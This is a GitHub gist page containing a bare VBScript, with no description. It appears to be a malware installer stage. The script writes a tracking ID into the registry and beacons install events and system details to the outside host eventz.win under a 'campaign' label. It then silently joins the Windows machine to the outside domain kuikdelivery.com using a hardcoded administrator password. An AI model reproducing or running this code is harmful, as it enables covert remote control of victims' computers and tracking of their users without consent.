Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
Dim WSHShell
Dim UUID
On Error Resume Next
Set WSHShell = CreateObject("WScript.Shell")
UUID = WSHShell.RegRead("HKLM\SOFTWARE\qavriknzkk\UUID")
If Len(UUID) = 0 Then
Set TypeLib = CreateObject("Scriptlet.TypeLib")
UUID = TypeLib.Guid
UUID = Left(UUID, Len(UUID)-2)
If Len(UUID) = 0 Then
UUID = "UUID-Not-Set"
End If
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.RegWrite "HKLM\SOFTWARE\qavriknzkk\UUID", UUID, "REG_SZ"
err.clear
End If
Set SystemSet = GetObject("winmgmts:").InstancesOf ("Win32_OperatingSystem")
for each System in SystemSet
winVer = System.Caption
next
Function trackEvent(eventName, extraData)
Set tracking = CreateObject("MSXML2.XMLHTTP")
tracking.open "GET", "http://eventz.win:13463/trk?event=" & eventName & "&computer=" & UUID & "&windows-version=" & winVer & "&error=" & err.Number & ";" & err.Description & ";" & err.Source & ";" & extraData & "&campaign=qavriknzkk&channel=" & WScript.Arguments.Item(0), False
tracking.send
err.clear
End Function
trackEvent "exe-install", Null
trackEvent "join-domain-start", Null
Const JOIN_DOMAIN = 1
Const ACCT_CREATE = 2
Const ACCT_DELETE = 4
Const WIN9X_UPGRADE = 16
Const DOMAIN_JOIN_IF_JOINED = 32
Const JOIN_UNSECURE = 64
Const MACHINE_PASSWORD_PASSED = 128
Const DEFERRED_SPN_SET = 256
Const INSTALL_INVOCATION = 262144
SET objNetwork = CREATEOBJECT("WScript.Network")
strComputer = objNetwork.ComputerName
SET objComputer = GetObject("winmgmts:" & "{impersonationLevel=Impersonate,authenticationLevel=Pkt}!\\" & strComputer & "\root\cimv2:Win32_ComputerSystem.Name='" & strComputer & "'")
ReturnValue = objComputer.JoinDomainOrWorkGroup("kuikdelivery.com", "4sdOwt7b7L1vAKR6U7", "kuikdelivery.com\administrator", "OU=" & WScript.Arguments.Item(0) & ",DC=kuikdelivery,DC=com", JOIN_DOMAIN + ACCT_CREATE + DOMAIN_JOIN_IF_JOINED + JOIN_UNSECURE)
If (ReturnValue <> 0) Or (err.number <> 0) Then
trackEvent "join-domain-failed", ReturnValue
WScript.Quit 1
Else
trackEvent "join-domain-success", Null
WScript.Quit 0
End IF
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment